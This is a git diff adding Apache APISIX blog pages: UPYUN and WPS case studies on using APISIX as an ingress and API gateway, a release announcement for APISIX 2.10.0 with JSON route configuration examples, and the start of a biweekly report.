diff --git a/blog/2021/09/24/youpaicloud-usercase/index.html b/blog/2021/09/24/youpaicloud-usercase/index.html
new file mode 100644
index 00000000000..98b728c2a15
--- /dev/null
+++ b/blog/2021/09/24/youpaicloud-usercase/index.html
@@ -0,0 +1,85 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Practice in UPYUN with APISIX Ingress | Apache APISIX</title><meta name="description" content="This article describes the update and adjustment of UPYUN's internal gateway architecture after you selected Apache Apisix Ingress, and shares some of the practice scenarios in use."><meta name="robots" content="index,follow"><link rel="canonical" href="https:// [...]
+<p>This article describes the update and adjustment of UPYUN’s internal gateway architecture after you selected Apache Apisix Ingress, and shares some of the practice scenarios in use. Chen Zhuo, a cloud development engineer, is responsible for cloud storage, cloud processing, and gateway application development.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="background">Background</h2>
+<p>The range of Ingress products on the market has grown and the range of options has expanded considerably. These products fall into roughly two architectural categories. One, like K8s Ingress and Apache APISIX Ingress, are based on traditional agents such as Nginx and OpenResty, and use k8s-Client and Golang to do Controller. There is also an emerging class of agents and controllers using the Golang language, such as Traefik.</p>
+<p>Ingress-Nginx is still used by most businesses in UPYUN, and the overall architecture is as follows.</p>
+<p><img src="https://static.apiseven.com/202108/1632469775377-8303128c-e8a6-4594-a87b-ac6942f4895e.png" alt="Ingress-Nginx architecture"></p>
+<p>The lower layer is data plane OpenResty. The upper Controller listens primarily for resource changes from APIServer and generates <code>nginx.conf</code> configuration file, and then Reload OpenResty. If the POD IP changes, the Upstream Upstream node replacement can be transmitted directly to the OpenResty Lua code via the HTTP interface.</p>
+<p>The extensibility of Ingress-Nginx is achieved mainly through Annotations, and the configuration file itself has simple syntax and routing rules. Lua can be configured on demand, and the extension of the Lua plug in improves Operability of customization.</p>
+<p><img src="https://static.apiseven.com/202108/1632469835090-20c409f6-0416-4b2f-9ad7-4c836638f892.png" alt="Ingress-Nginx extensibility"></p>
+<p>But Ingress-Nginx has some drawbacks, such as:</p>
+<ul>
+<li>The development of plug-ins depends on complex components, poor portability</li>
+<li>Weak semantic ability</li>
+<li>Any change to Ingress requires Reload, which is unfriendly to long links</li>
+</ul>
+<p>These issues caused some confusion in maintaining the existing logic, so we started looking for alternatives to the relevant container gateways.</p>
+<h2 id="research-phase">Research Phase</h2>
+<p>In choosing an alternative to Ingress-Nginx, we focused on Traefik and Apache APISIX Ingress.</p>
+<p><img src="https://static.apiseven.com/202108/1632469875567-61dd6fbd-757f-419f-a769-99e6aaf46f0c.png" alt="Traefik"></p>
+<p>Traefik is cloud-native, with extremely simple configuration files, a distributed configuration, and support for a variety of automated configuration discovery. Not only support K8s, ETCD, Golang eco-language support is better, and the development cost is lower, iteration and testing ability is better. But it falls short at other levels, such as:</p>
+<ul>
+<li>Weak expansibility</li>
+<li>Reload is not supported</li>
+<li>Not as good as Nginx in terms of performance and functionality (though it’s also less expensive)</li>
+</ul>
+<p>Unlike Nginx, which is rich in plugins and instructions, you can solve a problem by adding an instruction, and you may need to pair an Nginx with Traefik when you deploy online.</p>
+<p>In summary, although Traefik has advantages on operations, we are worried about its drawbacks on extension and operational efficiency concerns, so we did not choose Traefik.</p>
+<h2 id="why-apache-apisix-ingress">Why Apache APISIX Ingress</h2>
+<h3 id="internal-cause">Internal Cause</h3>
+<p>Apache APISIX’s cluster of gateways, which were previously replaced from Kong, is currently hosted in multiple data centers within the company. Later, based on the Apache APISIX plug-in system, we developed some internal plug-in, such as internal permission system check, precision rate limit and so on.</p>
+<h3 id="efficiency-of-maintenance">Efficiency of Maintenance</h3>
+<p>We also have some K8s clusters, and the cluster gateway in these containers is using Ingress Nginx. When the plug-in system wasn’t supported before, we customized some of the plug-ins on Ingress Nginx. So Apache APISIX and Nginx have a lot of overlap in their internal data center and container gateways.</p>
+<p>To avoid subsequent development and maintenance, we want to replace all of the Ingress Nginx container internal gateways with Apache APISIX Ingress to achieve component unification at the gateway level.</p>
+<h2 id="tuning-update-based-on-apache-apisix-ingress">Tuning Update Based on Apache APISIX Ingress</h2>
+<p>Currently Apache APISIX Ingress is in the early stages of UPYUN. Because of the rapid iteration of Apache APISIX Ingress, we haven’t yet applied it to some important businesses, just to try it out in a new cluster.</p>
+<h3 id="restructuring">Restructuring</h3>
+<p>With Apache APISIX Ingress, the internal architecture looks like this.</p>
+<p><img src="https://static.apiseven.com/202108/1632469909488-3685d104-e458-4145-8ccb-6cecbd383161.png" alt="After using APISIX Ingress architecture"></p>
+<p>Unlike the aforementioned Ingress-Nginx architecture, the underlying data surface has been replaced with the Apache APISIX cluster. The upper Controller listens for APIServer changes and then distributes the configuration resources through the ETCD to all nodes in the entire Apache APISIX cluster.</p>
+<p><img src="https://static.apiseven.com/202108/1632469956257-b9cb6a91-a082-437c-9395-d62ffb75280f.png" alt="Profile comparison"></p>
+<p>Because Apache APISIX supports dynamic routing changes, it is different from Ingress-Nginx on the right. In Apache APISIX, the same Location is used when traffic enters, and routing is done in Lua Code, which is easy to deploy. And the right Ingress-Nginx compared to its <code>nginx.conf</code> configuration file is complex and requires a Reload for every Ingress change.</p>
+<h3 id="apache-apisix-ingress-controller">Apache APISIX Ingress Controller</h3>
+<p>Apache APISIX Ingress Controller relies on Apache APISIX’s dynamic routing capabilities for its functional implementation. It monitors resource changes at APIServer, performs data structure conversion, data validation, and DIFF computation, and finally applies it to the Apache APISIX Admin API.</p>
+<p>Apache APISIX Ingress Controller also has a highly available scheme, implemented directly through the leader-election mechanism of K8s, without the need to introduce additional external components.</p>
+<h4 id="declarative-configuration">Declarative Configuration</h4>
+<p>Currently Apache APISIX Ingress Controller supports two declarative configurations, Ingress Resource and CRD Resource. The former is more suitable for the replacement of gateway controls from Ingress-Nginx and is the most cost-effective in terms of conversion costs. However, its shortcomings are obvious, such as too weak semantic ability, no specific specifications, and capacity development can only be achieved through annotations.</p>
+<p><img src="https://static.apiseven.com/202108/1632469994485-209d3a21-d761-4b2c-a974-c913b443b0d2.png" alt="Ingress Resource"></p>
+<p>UPYUN selected the second declarative configuration, the more semantic CRD Resource. Structured data can be configured this way, with the capabilities that Apache APISIX supports.</p>
+<p><img src="https://static.apiseven.com/202108/1632470033850-b619da2f-5926-44ca-95bb-69ee1cdaf209.png" alt="CRD Resource"></p>
+<p>If you want to learn more about Apache APISIX Ingress Controller dry goods, see Apache Apisix PMC Zhang Chao’s <a href="https://www.bilibili.com/video/BV1eB4y1u7i1?spm_id_from=333.999.0.0">sharing video</a> on Meetup.</p>
+<h3 id="functional-enhancement">Functional Enhancement</h3>
+<h4 id="effect-1-log-level-efficiency">Effect 1: Log Level Efficiency</h4>
+<p>We currently have multiple Apache APISIX clusters in our company, including the data center gateway and the container gateway that all started using Apache APISIX uniformly so that they can be consolidated into a set of logic for subsequent processing/consumption of related logs.</p>
+<p><img src="https://static.apiseven.com/202108/1632470075980-46d13ac7-babb-40a5-b105-73f1105d16e7.png" alt="Log level"></p>
+<p>Of course, Apache APISIX’s logging plug-in support is also very rich. Internally we use Kafka-Logger, which allows you to customize the log format. Like the other log plug-ins in the figure below, custom formats may not yet be supported due to the number of users, partners with relevant needs are welcome to use and submit PR to extend the current logging plug-in functionality.</p>
+<p><img src="https://static.apiseven.com/202108/1632470099306-ffc74dfb-384b-4014-a0b4-14267dcf7bce.png" alt="Plug-in list"></p>
+<h4 id="effect-two-improve-the-monitoring-and-health-check">Effect Two: Improve the Monitoring and Health Check</h4>
+<p>At the monitoring level, Apache APISIX also supports Prometheus, SkyWalking, and so on, and we use Prometheus internally.</p>
+<p>Apache APISIX is a basic proxy for the monitoring and request of APP status codes. But Apache APISIX’s own health checks are not well controlled. What we’re doing now is deploying a service inside K8s and generating multiple pods, applying that service to Apache APISIX Ingress, and then checking the entire link to see if Apache APISIX is healthy.</p>
+<p><img src="https://static.apiseven.com/202108/1632470120106-3e577e2e-ea43-4f50-8e3c-066b5f1e7238.png" alt="Health check"></p>
+<h2 id="practice-the-solution-using-apache-apisix-ingress">Practice the Solution Using Apache APISIX Ingress</h2>
+<h3 id="scenario-1-k8s-application-changes">Scenario 1: K8s Application Changes</h3>
+<p>In using K8s with Apache APISIX Ingress, you need to do the following:</p>
+<ul>
+<li>The selection of update strategy suggests using rolling update to ensure that most of the POD is available, but also need to consider the problem of stable load</li>
+<li>We should start K8s internal health check for POD to ensure the business availability of POD and avoid the POD being unable to provide the normal service after the request</li>
+<li>Make most endpoints available on Apache APISIX Upstream</li>
+</ul>
+<p>In practice, we also encounter the problem of transmission delay. The POD update path is shown below, after the POD Ready through the layer-by-layer steps of information transfer, some of the links in the middle may appear delay problems. In some extreme cases, the link time may be increased by a few seconds and the Endpoint update may not be up to date.</p>
+<p><img src="https://static.apiseven.com/202108/1632470165257-cb16e489-b546-4451-917a-6c72648769d8.png" alt="Link issue"></p>
+<p>The solution in this case is to wait a few seconds after the first batch of POD becomes Ready before continuing with the next batch when the update occurs. The goal is to ensure that most endpoints in the Apache APISIX Upstream are available.</p>
+<h3 id="scenario-2-upstream-health-screening-problem">Scenario 2: Upstream Health Screening Problem</h3>
+<p>Due to APIServer’s state-oriented design, there are also latency issues when synchronizing with Apache APISIX, which can result in “502 error status warnings”during the update process. Problems like this require a health check at the gateway level for the Upstream Endpoint.</p>
+<p>First of all, an Upstream Endpoint health check is not practical because Endpoint is too time consuming. The monitoring check at the HTTP layer is not suitable for the operation because the status code can not be determined.</p>
+<p>The best way to do this is to do a passive health check based on TCP at the gateway level. If your network connection time out is not reachable, consider the POD as a problem that needs to be degraded. This allows for independent control without touching other parts of the business, as long as you check at the TCP level.</p>
+<h3 id="scenariomtls-connecting-to-etcd">Scenario:mTLS Connecting to ETCD</h3>
+<p>Because the Apache APISIX cluster uses one-way authentication by default, using Apache APISIX as a container gateway might turn on two-way authentication by default when connecting to the same ETCD cluster with K8s (which uses two-way authentication in K8s ETCD) , this in turn led to the following certificate issues:</p>
+<p><img src="https://static.apiseven.com/202108/1632470191228-5c2a3666-8d21-4b19-a5be-e09e7db4d488.png" alt="Certificate issues"></p>
+<p>Instead of connecting directly to the ETCD via gRPC, Apache APISIX first connects to the gRPC-gateway inside the ETCD via the HTTP protocol, and then to the real gRPC Server. There’s an extra component in the middle, so there’s an extra two-way validation.</p>
+<p>A client certificate is required when the gRPC-gateway connects to the gRPC Server. The ETCD does not provide a configuration for this certificate, but uses the Server certificate of the gRPC Server directly. This is equivalent to a certificate being validated both on the client and the server. If your gRPC server server-side certificate has an extension enabled (indicating that the certificate can only be used for server-side validation) , remove the extension, or add an extension th [...]
+<p>At the same time, the bottom layer of OpenResty does not support mTLS. When you need to connect to an upstream service or ETCD via mTLS, you need to use apisix-nginx-module to build an OpenResty after patch. Apisix-build-tools can find related build scripts.</p>
+<h2 id="future-expectations">Future Expectations</h2>
+<p>While we are currently only using Apache APISIX Ingress in the testing phase, we believe that in the near future, with the application of an iterative feature update and internal architecture migration, apache APISIX Ingress will be applied uniformly to all container gateways to UPYUN.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href [...]
\ No newline at end of file
diff --git a/blog/2021/09/28/wps-usercase/index.html b/blog/2021/09/28/wps-usercase/index.html
new file mode 100644
index 00000000000..7f38ef6803f
--- /dev/null
+++ b/blog/2021/09/28/wps-usercase/index.html
@@ -0,0 +1,67 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>WPS with Apache APISIX to create new API gateway experience | Apache APISIX</title><meta name="description" content="In this article, Zhang Qiang, head of SRE network in WPS, explains how WPS can use Apache APISIX to handle Mega QPS, and update and improve gateway practices based on Apache APISIX."><meta name="robots" content="index,follow"><link rel="can [...]
+<p>In this article, Zhang Qiang, head of SRE network in WPS, explains how WPS can use Apache APISIX to handle Mega QPS, and update and improve gateway practices based on Apache APISIX.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="background">Background</h2>
+<p>WPS is currently the largest domestic office software manufacturers, its products include WPS Office, Kdocs, Docer and so on. At the business level, deployed by thousands of businesses in a container on an internal cloud native platform, <a href="https://apisix.apache.org/">Apache APISIX</a> at WPS is currently responsible for providing gateway services to the mid-stage business (Mega QPS) .</p>
+<h2 id="gateway-evolution-in-wps">Gateway Evolution in WPS</h2>
+<p>In phase 1.0, we didn’t have a strong requirement for API Gateway features, we just wanted to solve the operations problem, so we did our own research based on OpenResty and Lua to implement dynamic Upstream, blacklist, WAF and so on. Although self-developed, but left some problems in the function, such as:</p>
+<ul>
+<li>It’s only as dynamic as the Upstream dimension</li>
+<li>Need to Reload to bring out the new domain name</li>
+<li>The bottom design is simple, the function expansion ability is not strong</li>
+</ul>
+<p>Following the strong demand for API Gateway functionality, we began to investigate the related open source Gateway products.</p>
+<h2 id="why-apache-apisix">Why Apache APISIX?</h2>
+<p>In fact, when the research on gateway products began in late 2019, Kong was one of the more popular choices.</p>
+<p>However, subsequent tests showed that Kong’s performance was not quite up to our expectations, and we didn’t think that Kong’s architecture was very good: its configuration center used PostgreSQL, so Kong can only use the non-event driver to update the route, relying on each node to refresh the route.</p>
+<p>On further investigation, we discovered <a href="https://github.com/apache/apisix">Apache APISIX</a>. First of all, Apache APISIX performs better than Kong, and there’s a very detailed graph in Apache APISIX’s GitHub Readme that shows the <a href="https://gist.github.com/membphis/137db97a4bf64d3653aa42f3e016bd01">performance of Apache APISIX Compared to Kong</a>, which are basically consistent with the data we’ve tested ourselves.</p>
+<p><img src="https://static.apiseven.com/202108/1632796929580-a6d7847c-bba6-4417-a7f0-9c127313264e.png" alt="Performance comparison between Apache APISIX and Kong"></p>
+<p>In terms of architecture, Apache APISIX’s ETCD configuration is a better choice for us.</p>
+<p><img src="https://static.apiseven.com/202108/1632796952262-b814e37d-cbc5-43f5-b504-ab1751a9aa83.png" alt="Apache APISIX architecture"></p>
+<p>The main reason, of course, is that we feel that community is also important. If the community is active, it will be able to update iterations, troubleshoot problems, and optimize functionality quickly. From GitHub and regular email feedback we can see that the Apache APISIX community is active, providing a strong guarantee of product functionality and stability.</p>
+<h2 id="experience-of-gateway-smooth-migration">Experience of Gateway Smooth Migration</h2>
+<p>When most of my friends started working with Apache APISIX, they used the CLI to generate configurations and instances. However, during our smooth migration, we did not use the CLI to generate the configuration.</p>
+<p>The main reason is that Apache APISIX does some Phase in OpenResty, such as initializing the init, init_worker, HTTP, and Upstream related phases.</p>
+<p>Corresponding to the Apache APISIX configuration, we found that these can be migrated from the CLI smoothly.</p>
+<p>So for these reasons, we ended up doing the following smooth migration:</p>
+<ul>
+<li>CLI generation configuration without Apache APISIX</li>
+<li>Introduce a Package Path for Apache APISIX and make Apache APISIX the Default Server</li>
+<li>KEEP domain names in other static configurations, and because the new domain name is not in the static configuration, Fallback to Apache APISIX</li>
+<li>Eventually the static configuration was migrated gradually to Apache APISIX</li>
+</ul>
+<p>Of course, in addition to the above, we recommend a “Light-mixing mode” that uses static configuration with Apache APISIX as Location, with some of the Phase or Lua code mentioned earlier. Doing so allows you to introduce special configurations into your static configuration, make it dynamic, etc. .</p>
+<h2 id="shared-state-improvements-based-on-apache-apisix">Shared State Improvements Based on Apache APISIX</h2>
+<p>First of all, in my opinion, “The Shared State is the biggest factor in the stability of the feed, which is definitely not an issue.”Why?</p>
+<p>Because forwarding efficiency can be addressed by scaling laterally, the Shared State is a critical module because it is Shared by all nodes.</p>
+<p>So after using Apache APISIX, we made a few tweaks and optimizations to focus on the Shared State layer.</p>
+<h3 id="improvement-1-optimize-etcd-architecture-with-multiple-machines-listening">Improvement 1: Optimize ETCD Architecture with Multiple Machines Listening</h3>
+<p>In a typical corporate gateway architecture, multiple machines are involved, some as many as a few hundred, and each machine has to take into account the number of workers. So when multiple machines monitor the same Key, the pressure on the ETCD is greater, because one of the ETCD mechanisms is to ensure data consistency, requiring all events to be returned to the listening request before new requests can be processed, the request is discarded when the send buffer is full. So when mul [...]
+<p>To solve the above problem, we use our own ETCD Proxy. The previous connection between Apache APISIX and ETCD is shown on the left side of the figure below, with each node connected to the ETCD. So as a large-scale entry, the number of connections can be particularly large, putting pressure on the ETCD.</p>
+<p><img src="https://static.apiseven.com/202108/1632796985052-c2453a37-edc1-4102-bbb7-8e03627765d5.png" alt="etcd Proxy"></p>
+<p>Since we are listening to the same Key, we make a proxy to do a uniform listening and return the results to Apache APISIX when there is feedback. As shown on the right side of the image above, the ETCD Proxy component is placed between Apache APISIX and ETCD to monitor changes in Key values.</p>
+<h3 id="improvement-2-solve-the-performance-problem-during-routing-validation">Improvement 2: Solve the Performance Problem During Routing Validation</h3>
+<p>As companies grow in size, so will the number of routes. In practice, Apache APISIX reconstructs the prefix tree used to match the route each time the route is updated. This is mainly due to poor sort performance of <code>table.sort</code>.</p>
+<p>In the process of practice, we observe that the CPU of the gateway increases and the packet loss rate increases when the route is updated frequently.</p>
+<p><img src="https://static.apiseven.com/202108/1632797671795-141a410b-0dd5-4873-b3dc-56f892aa2f07.png" alt="CPU Flame Diagram"></p>
+<p>In terms of CPU ramp-up, it is clear from the flame diagram that the majority of CPU time is allocated to the <code>auxsort</code>, which is triggered by FUNCC. The FUNCC trigger also points to the problem of proving that the data did not pass through Luajit and that only the rightmost part of the graph processed normal requests.</p>
+<p>The main reason for this is LuaJIT’s <code>table.sort</code> doesn’t rely entirely on the JIT mode, as you can see in the <a href="http://wiki.luajit.org/NYI">Luajit wiki</a>, so it works in the Lua code environment with low efficiency.</p>
+<p><img src="https://static.apiseven.com/202108/1632797702785-9afdc28d-6c7a-4643-8cac-72b41fee8e2b.png" alt="LuaJIT Wiki"></p>
+<p>We solved this problem ourselves using pure Lua code to implement the sort configuration for the above scenario, but Apache APISIX has since fixed the problem, the idea is similar to what we understand.</p>
+<h3 id="more-experience-with-shared-state">More Experience with Shared State</h3>
+<ol>
+<li>When you modify Apache APISIX or do your own plug-in development, make sure you do Schema validation, including nulls, especially in the matching section. Because if something goes wrong in the matching section, it can have an impact on the whole.</li>
+<li>Do a good job of business split planning. Plan your ETCD Prefix and IP numbers according to your traffic, and deploy more robust clusters to minimize systemic risks.</li>
+</ol>
+<h2 id="open-source-discussion">Open Source Discussion</h2>
+<h3 id="the-trade-off-between-stability-and-function">The Trade-off Between Stability and Function</h3>
+<p>WPS has been using Apache APISIX for almost two years now, and as a product user, I think Apache APISIX is really a stable and reliable open source product, keep up to date with the latest community releases.</p>
+<p>But as anyone who has ever used an open source product will know, there will be some new features in the updated version, but there will also be some stability issues, so how do we choose between the updated version and the stability.</p>
+<p>There is no universal answer to this question, but I personally feel that for Apache APISIX, try to keep up with the official version.</p>
+<p>As far as the Jinshan District Office is concerned, we currently have a very high level of stability due to the large-scale use of Apache APISIX. We’ve had some trouble keeping up with the official updates, so we recommend keeping up with the official version as much as possible.</p>
+<p>If you’re like the rest of us, you may not always be able to keep up with the official version, but you should at least be able to check out GitHub’s <a href="https://github.com/apache/apisix">Master Change Log</a> and other documentation on a weekly basis and keep an eye on product changes.</p>
+<h3 id="based-on-apache-apisix-production-experience">Based on Apache APISIX Production Experience</h3>
+<p>Based on Apache APISIX, we have packaged a number of product features, such as multi-room application scaling, one-click blocking routing, and so on. In practical application, we realize that Apache APISIX is a very flexible and powerful product, so we should understand one point when we make the transition to production: powerful = unavoidable complexity and danger.</p>
+<p>Apache APISIX itself has a lot of code design, for example, some plug-ins may need to be modified to compile their own, because after all, the respective application scenario can not be unified.</p>
+<p>Finally, based on the practical experience mentioned above, it is also recommended that the granularity of gateway sharing should be planned well in advance to reduce the problems of subsequent use.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/ [...]
\ No newline at end of file
diff --git a/blog/2021/09/29/release-apache-apisix-2.10/index.html b/blog/2021/09/29/release-apache-apisix-2.10/index.html
new file mode 100644
index 00000000000..8c77082b386
--- /dev/null
+++ b/blog/2021/09/29/release-apache-apisix-2.10/index.html
@@ -0,0 +1,70 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Release Apache APISIX 2.10.0 | Apache APISIX</title><meta name="description" content="API Gateway Apache APISIX 2.10.0 is officially released! This is the first LTS release of Apache APISIX and supports more than 10 features and plugins at the same time."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog [...]
+<p>Apache APISIX 2.10.0 is released!</p>
+</blockquote>
+<!--truncate-->
+<p>Apache APISIX 2.10.0 is officially released! 🎉 This is the first LTS release of Apache APISIX with support for 10+ new features and new plugins. Have a quick read to learn about the new features in version 2.10.0!</p>
+<h2 id="milestone-the-first-lts-release">Milestone: The First LTS Release</h2>
+<p>This 2.10.0 release is a milestone for Apache APISIX, as Apache APISIX 2.10.0 is our first LTS (Long Time Support) release.</p>
+<p>We will be releasing subsequent patch versions on top of Apache APISIX 2.10.0, i.e. 2.10.1, 2.10.2, etc. These releases will backport bugfixes from the main branch.</p>
+<p>In October, we plan to release the first patch for the first LTS version, Apache APISIX 2.10.1.</p>
+<p>We will then release alternating version lines 2.10.x (e.g. 2.10.2) and 2.x (e.g. 2.11.0) to keep the features iterative while ensuring that the LTS version gets the newer bugfixes.</p>
+<h2 id="new-feature-add-hosts-attribute-to-service">New Feature: Add Hosts Attribute to Service</h2>
+<p>In Apache APISIX 2.10.0, we added the <code>hosts</code> property to <code>service</code>. Like the other fields in <code>service</code>, <code>route</code> can inherit the <code>hosts</code> attribute from <code>service</code>.</p>
+<p>For example, the following configurations are equivalent in Apache APISIX 2.10.0:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="json"><code><span class="line"><span style="color:#E6EDF3"># services/</span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#7EE787"> "hosts"</span><span style="color:#E6EDF3">: [</span><span style="color:#A5D6FF">"bar.com"</span><span style="color:#E6EDF3">]</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span>
+<span class="line"><span style="color:#E6EDF3"># routes/</span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#7EE787"> "upstream"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "nodes"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "127.0.0.1:1980"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "type"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"roundrobin"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "service_id"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"1"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "uri"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"/hello"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="json"><code><span class="line"><span style="color:#E6EDF3"># routes/</span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#7EE787"> "upstream"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "nodes"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "127.0.0.1:1980"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "type"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"roundrobin"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "hosts"</span><span style="color:#E6EDF3">: [</span><span style="color:#A5D6FF">"bar.com"</span><span style="color:#E6EDF3">],</span></span>
+<span class="line"><span style="color:#7EE787"> "uri"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"/hello"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>With this change, the relationship between <code>route</code> and <code>service</code> in Apache APISIX is becoming more and more similar to the relationship between <code>location</code> and <code>server</code> in Nginx. This change brings <code>service</code> back into the core Apache APISIX configuration: <a href="http://apisix.apache.org/docs/apisix/terminology/route">Route</a>, <a href="http://apisix.apache.org/docs/apisix/terminology/upstream">Upstream</a>, and <a href="http://a [...]
+<h2 id="new-feature-support-setting-the-ratio-of-mirror-requests">New Feature: Support Setting the Ratio of Mirror Requests</h2>
+<p>The proxy-mirror plugin’s support for setting the ratio of mirrored requests is a feature users have been waiting for, and we support it on Apache APISIX 2.10.</p>
+<p>By setting <code>sample_ratio</code>, you can control the number of requests that are mirrored to the test service. For example, the following configuration with <code>sample_ratio</code> set to 0.5 will mirror half of the requests to the test service.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="json"><code><span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#7EE787"> "plugins"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "proxy-mirror"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "host"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"http://127.0.0.1:1986"</span><span style="color:#E6EDF3">,</span></span>
+<span class="line"><span style="color:#7EE787"> "sample_ratio"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">0.5</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "upstream"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "nodes"</span><span style="color:#E6EDF3">: {</span></span>
+<span class="line"><span style="color:#7EE787"> "127.0.0.1:1980"</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">1</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "type"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"roundrobin"</span></span>
+<span class="line"><span style="color:#E6EDF3"> },</span></span>
+<span class="line"><span style="color:#7EE787"> "uri"</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">"/hello"</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<h2 id="new-plugin-apisix-python-plugin-runner">New Plugin: APISIX Python Plugin Runner</h2>
+<p>Following <a href="https://apisix.apache.org/blog/2021/06/21/use-Java-to-write-Apache-APISIX-plugins/">Java Plugin Runner</a> and <a href="https://apisix.apache.org/blog/2021/08/19/go-makes-Apache-APISIX-better/">Go Plugin Runner</a>, there is a new Plugin Runner for Apache APISIX.</p>
+<p>The <a href="https://github.com/apache/apisix-python-plugin-runner">Apache APISIX Python Plugin Runner</a> has been released in version 0.1.0 on September 6.</p>
+<p>Python is a popular programming language that has always been known for its ease of use and flexibility. Now you and I can use the language to write plugins for Apache APISIX.</p>
+<p>In addition to the Python Plugin Runner, our community partners are also developing Plugin Runners for other programming languages, such as the <a href="https://github.com/zenozeng/apisix-javascript-plugin-runner">JavaScript Plugin Runner</a>, and everyone is welcome to participate in the development.</p>
+<h2 id="download">Download</h2>
+<p>In addition to the above new features and components, the Apache APISIX 2.10.0 release introduces more than a dozen new features and plugins, for details please see the <a href="https://github.com/apache/apisix/blob/release/2.10/">Change log</a> corresponding to this release CHANGELOG.md#2100).</p>
+<p>Download Apache APISIX 2.10.0</p>
+<ul>
+<li>Source code: Please visit <a href="https://apisix.apache.org/downloads/">Download page</a></li>
+<li>Binary installation package: Please visit <a href="https://apisix.apache.org/docs/apisix/how-to-build/">Installation Guide</a></li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/09/30/weekly-report/index.html b/blog/2021/09/30/weekly-report/index.html
new file mode 100644
index 00000000000..93284d96a1f
--- /dev/null
+++ b/blog/2021/09/30/weekly-report/index.html
@@ -0,0 +1,87 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Biweekly Report (Sep 13 - Sep 30) | Apache APISIX</title><meta name="description" content="The cloud native API gateway Apache APISIX has added functions related to stream_route, debug mode, and hmac-auth plugin in the past two weeks."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/09/30/weekly-r [...]
+<p>From 9.13 to 9.30, 32 developers have committed 93 commits to Apache APISIX. Thank you to these folks for making the Apache APISIX project better with your selfless efforts!</p>
+</blockquote>
+<!--truncate-->
+<h2 id="introduction">Introduction</h2>
